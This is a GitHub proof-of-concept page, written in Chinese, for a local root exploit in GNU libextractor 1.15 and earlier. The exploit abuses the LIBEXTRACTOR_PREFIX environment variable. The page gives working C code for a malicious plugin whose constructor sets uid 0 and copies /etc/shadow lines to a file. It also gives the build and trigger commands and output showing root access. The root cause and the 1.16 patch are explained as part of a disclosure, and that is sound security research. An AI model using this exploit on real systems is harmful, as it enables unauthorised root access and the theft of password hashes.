Haitam-lazaar/libextractor-privesc
GitHub: Haitam-lazaar/libextractor-privesc
GNU libextractor ≤ 1.15 因插件加载使用不可信搜索路径而导致本地提权漏洞的概念验证代码。
Stars: 0 | Forks: 0
# GNU libextractor ≤ 1.15 Plugin Loader 不可信搜索路径漏洞
## 摘要
GNU libextractor 的插件加载机制使用 `LIBEXTRACTOR_PREFIX` 环境变量来确定从何处加载共享库(`.so` 插件)。由于它使用 `getenv()` 而不是 `secure_getenv()`,当进程以提升的权限运行时,此环境变量不会被剥离。攻击者可以将 `LIBEXTRACTOR_PREFIX` 设置为恶意目录,从而强制任何加载 libextractor 插件的应用程序执行任意代码。
**主要影响:** 本地提权 (LPE) 至 `root`。
| 字段 | 值 |
|-------|-------|
| 严重性 | **高** (CVSS 4.0: 8.5) |
| CWE | CWE-426 (不可信搜索路径) |
| 攻击途径 | 本地 |
| 所需权限 | 低 |
| 用户交互 | 无 |
| 受影响版本 | 1.15 及之前的所有版本 |
## 受影响软件
- GNU libextractor ≤ 1.15
- 任何链接到 `libextractor` 的 `setuid` 二进制文件或特权 daemon
## 概念验证 (演示)

*上面的动画演示了此漏洞利用过程。攻击者编译一个恶意的共享库 (`evil_plugin.c`) 并将其放置在 `/tmp/evil_plugins` 中。通过执行一个使用 `libextractor` 的 `setuid` 二进制文件,并在命令前加上 `LIBEXTRACTOR_PREFIX=/tmp/evil_plugins`,动态链接器将会以提升的权限加载该恶意插件。这会立即以 root 身份执行任意命令,演示中将 `id` 的输出和受限制的 `/etc/shadow` 文件写入到 `/tmp/privesc_proof` 来进行证明。*
## 攻击场景与漏洞利用
该漏洞主要是通过利用 `LIBEXTRACTOR_PREFIX` 环境变量来触发的。
*(注:`libextractor` 还包含使用 `/proc/PID/maps` 和可写 `PATH` 目录的次要不安全回退机制,但环境变量注入是最直接、最可靠的攻击途径)。*
### 概念验证代码
```
/*
* evil_plugin.c — Malicious libextractor plugin for privilege escalation
* Compile: gcc -shared -fPIC -o libextractor_ole2.so evil_plugin.c
*
* Place in a directory and set LIBEXTRACTOR_PREFIX to that directory.
* When any setuid application loads the OLE2 plugin, this constructor
* escalates to full root (uid=0, gid=0) and runs arbitrary commands.
*/
#include
#include
#include
__attribute__((constructor))
void pwn(void) {
/* Escalate: euid=0 allows setuid(0) which sets real uid=0 */
setuid(0);
setgid(0);
/* Now running as full root — shell commands work */
system("echo '=== PRIVILEGE ESCALATION PROOF ===' > /tmp/privesc_proof");
system("id >> /tmp/privesc_proof");
system("echo '' >> /tmp/privesc_proof");
system("echo '--- /etc/shadow (root-only) ---' >> /tmp/privesc_proof");
system("head -3 /etc/shadow >> /tmp/privesc_proof");
}
int _EXTRACTOR_ole2_extract_method = 0;
```
### 触发漏洞利用
在 Ubuntu 24.04 上使用 libextractor 1.14 进行测试:
```
# 编译恶意插件
mkdir -p /tmp/evil_plugins
gcc -shared -fPIC -o /tmp/evil_plugins/libextractor_ole2.so evil_plugin.c
# 模拟错误配置的 (setuid) 目标二进制文件
sudo chown root:root /usr/local/bin/extract
sudo chmod u+s /usr/local/bin/extract
# 以非特权用户身份触发 exploit
rm -f /tmp/privesc_proof
LIBEXTRACTOR_PREFIX=/tmp/evil_plugins /usr/local/bin/extract testfile.doc
```
### 验证 (完整 Root 权限)
```
$ cat /tmp/privesc_proof
=== PRIVILEGE ESCALATION PROOF ===
uid=0(root) gid=0(root) groups=0(root),1000(user)
--- /etc/shadow (root-only) ---
root:!:20223:0:99999:7:::
daemon:*:19977:0:99999:7:::
bin:*:19977:0:99999:7:::
```
## 根本原因
在 `src/main/extractor_plugpath.c` 中,函数 `get_installation_paths()` 调用了标准的 `getenv()`:
```
if (NULL != (p = getenv("LIBEXTRACTOR_PREFIX")))
```
因为它没有使用 `secure_getenv()`,所以当二进制文件以提升的权限运行时,动态链接器不会剥离此变量(与 `LD_PRELOAD` 或 `LD_LIBRARY_PATH` 不同)。随后 `lt_dlopenadvise()` 会盲目地从攻击者控制的路径中加载 `libextractor_.so`。
## 官方补丁 (libextractor 1.16)
维护者在 1.16 版本中通过将 `getenv()` 替换为 `secure_getenv()` 修复了此问题,当进程以提升的权限运行 (euid != uid) 时,该函数会返回 `NULL`。
```
- if (NULL != (p = getenv ("LIBEXTRACTOR_PREFIX")))
+ if (NULL != (p = secure_getenv ("LIBEXTRACTOR_PREFIX")))
```
## 致谢
特别感谢 GNU `libextractor` 的维护者 **Christian Grothoff**,他极其快速地进行分类处理、专业地沟通,并迅速部署了补丁(v1.15、v1.16 和 v1.17),以解决此问题以及在此次审计期间报告的其他几个内存安全问题。
## 许可证
我的研究仅供教育和防御目的。请负责任地使用。
标签:PoC, Web报告查看器, 安全, 客户端加密, 暴力破解, 本地提权, 环境变量劫持, 超时处理